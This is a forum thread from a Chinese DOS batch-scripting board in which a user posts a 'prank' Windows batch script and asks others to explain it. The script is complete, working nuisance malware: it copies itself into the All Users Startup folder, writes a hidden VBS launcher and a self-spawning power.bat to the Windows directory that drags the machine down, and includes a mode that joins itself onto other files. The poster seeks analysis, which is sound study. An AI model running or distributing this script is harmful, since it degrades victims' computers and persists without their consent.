中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 一个整人的BAT,请高手帮忙分析一下!
作者:
标题: 一个整人的BAT,请高手帮忙分析一下! 上一主题 | 下一主题
wjdidi
初级用户





积分 175
发帖 55
注册 2007-4-30
状态 离线
『楼 主』:  一个整人的BAT,请高手帮忙分析一下!

请高手们帮忙说明一下!感谢。。

::脚本运行后会使机器响应迟钝
::在运行中输入cmd /c echo.>C:\_stop可以无条件中止脚本
@echo off & cls
if not "%~n0"=="BatEncoder" goto body
if not "%~n1"=="" if exist "%~f1" copy/b "%~f0"+"%~f1" "%~dp1加密的%~nx1">nul 2>nul&echo 成功加密了脚本&goto :eof
echo 请将待加密文件名作为参数运行本程序
pause
goto :eof
:body
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set Shilyx=CreateObject("WScript.Shell")>%windir%\power.vbs
echo Shilyx.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
在windir生成两个文件分别是:

power.bat
@echo off
if "%1"=="" goto :end
if exist C:\_stop goto :EOF
start /B %~fs0 exp
:s
if not exist C:\_stop goto s
exit
:end
del %~fs0
power.vbs
set Shilyx=CreateObject("WScript.Shell")
Shilyx.Run "power.bat exp",0


2008-1-12 14:54
查看资料  发短消息 网志   编辑帖子  回复  引用回复
wjdidi
初级用户





积分 175
发帖 55
注册 2007-4-30
状态 离线
『第 2 楼』:  

看着好像很简单,自己却越越看越糊涂,,麻烦各位了。。

2008-1-12 14:56
查看资料  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: